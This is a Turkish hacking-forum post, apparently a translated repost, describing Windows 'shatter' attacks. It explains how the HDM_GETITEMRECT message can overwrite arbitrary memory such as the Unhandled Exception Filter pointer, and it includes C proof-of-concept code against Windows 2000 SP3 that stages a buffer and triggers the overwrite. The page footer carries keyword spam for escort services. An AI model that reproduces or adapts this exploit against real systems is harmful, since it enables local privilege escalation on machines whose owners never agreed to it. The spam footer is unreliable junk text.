Stroller

BARBAROS

Yeni Üye
Katılım
10 Eyl 2013
Mesajlar
22
Tepkime puanı
0
Puanları
0
Shatter(Kırma)

Çeviren : Cyber-Warrior Haberci Grubu (Stroller)


Shatter(Kırma) saldırıları haftanın açığı olduğundan, Biraz ilginç bilgiler ekleyeceğimi düşünüyorum. Bilgiyi yeniden karıştıracak değilim, bilgi zaten hazır. Eğer okumayan varsa takip eden iki makaleyi okuyun.

NGSSoftware Insight Security Research Advisory (ing)

*http://www.ngssoftware.com/advisories/utilitymanager.txt

iDEFENSE Security Advisory (ing)

*http://www.idefense.com/advisory/07.11.03.txt

Bu iki sayfa shatter saldırısı hakkında tüm bilgiyi içerir.

Burada anlatacağım teknik düşük seviyeli bir kullanıcın bir sistemdeki önemli yollara nasıl yazabileceğidir(overwrite). (SEH gibi hafıza konumları)

Detay:

Birçok Windows mesajları Windows hakkındaki GDI bilgilerini geri almak için bir POINT(nokta) yada RECT·e pointer(gösterge) kabul eder. Bu göstergelerin onaylandığı ne olursa olsun görülmez.

HDM_GETITEMTRECT mesajına konsantre olacağız:

(MSDN·den)

HDM_GETITEMRECT Mesajı

Bir üst kontrolde verilen parçanın dikdörtgenini geri yükler.

Bu mesajı belirgince yollayabilirsiniz yada Header_GetItemRect makrosunu kullanın.

Sözdizim

Bu mesajı yollamak için aşağıdaki gibi SendMessage fonksiyonunu kullanın:

Result = SendMessage((HWND) hWndControl, // kontrol altında tutar.

- (UINT) HDM_GETITEMRECT, // mesaj nosu (message ID)

- (WPARAM) wParam, // = (WPARAM) (int) iIndex;

- (LPARAM) lParam ); // = (LPARAM) (RECT*)

-lpItemRect;

- Parametreleri

- iIndex

- Üst kontrolün dikdörgeni geri yüklemek için gereken zero-based (sıfır-temellenmiş) içeriği.

- lpItemRect

-Dikdörteni geri yükleyen RECT·a giden gösterge bilgisi

(MSDN sonu)

Yani eğer Unhandled Exception Filter 77edxxxx·in üzerine yazmak istersek şunu çağırırız:

SendMessage(hwnd,HDM_GETITEMRECT,0,0x77edxxxx)

Şimdi uğraştıracak olan şey yazılan adresi nasıl kontrol edeceğimizdir.

Now the challenge is how do we control what is been written to the address.

RECT yapısı aşağıdaki gibi tanımlanır:

(MSDN·den)

- typedef struct _RECT {

- LONG left; (sol)

- LONG top; (üst)

- LONG right; (sağ)

- LONG bottom; (alt)

- } RECT, *PRECT;

(MSDN sonu)

Kontrol edebildiğimiz tek değerler sağ girintisi yada genişliği. Boyut sınırlı olmasına rağmen sadece 16 bitine yazmamıza izin veriyor. Yüksek bitler 0000·a.

Ancak yazılan adresimizi dengelersek 16 bitlik kontrol sağlayabiliriz.

Eğer iskelet kodumuzu XXXX0000 içerecek şekilde adrese yerleştirirsek iskelet kodumuzda genişliği XXXX şeklinde ayarlayabileceğiz; yazmaya neden olarak ve istisna olarak.

Resimler bin kelimeye bedeldir. Bu yüzden bu örneğin üzerinde çalışalım.

Örnek Kod

/*******************************************************

* shatterseh.c

*

* Daha fazla shatter saldırısı olduğunu kanıtlamak için örnek kod.

*

* Kritik hafıza adresleri üzerine yazılabildiğini kanıtlamak.

* Bu sadece örnek koddur ve iskelet koda erimez.

* Çünkü üst büyüklük gereklidir.

*

* Özel bir pencere seçmelisiniz.

* handles gereklidir

*

* Benim win2k SP3 ile uyumludur.

*

* Brett Moore [ brett.mooresecurity-assessment.com ]

* www.security-assessment.com

*******************************************************/

#include <windows.h>

#include <commctrl.h>

int main(int argc, char *argv[])

{

long lResult;

long hWndControl,hHdrControl;

char buffer[65535];

// Tampon malzemesi

memset(buffer,0x04,sizeof(buffer));

// Pencere başlığı almak

hWndControl = 0x000C01E6;

// Pencere başlığını belirtme

lResult = SendMessage((HWND) hWndControl,(UINT) WM_SETTEXT,0,&buffer);

// Üst başlığı listeleme

hWndControl = 0x000E0274;

// Önemli bir şeyin üzerine yazmak

lResult = SendMessage((HWND) hWndControl,(UINT)

HDM_GETITEMRECT,0,0x77EDA1EA);

// İstisnai durum

lResult = SendMessage((HWND) hWndControl,(UINT) HDM_GETITEMRECT,0,1);

return 0;

}


ALINTIDIR!!!

BARBAROS
 

mersin escort bodrum escort fethiye escort alanya escort konya escort marmaris escort bodrum escort vozol puff sakarya escort sakarya escort sakarya escort serdivan escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort bursa travesti bursa travesti
Üst
Copyright® Ajanlar.org 2012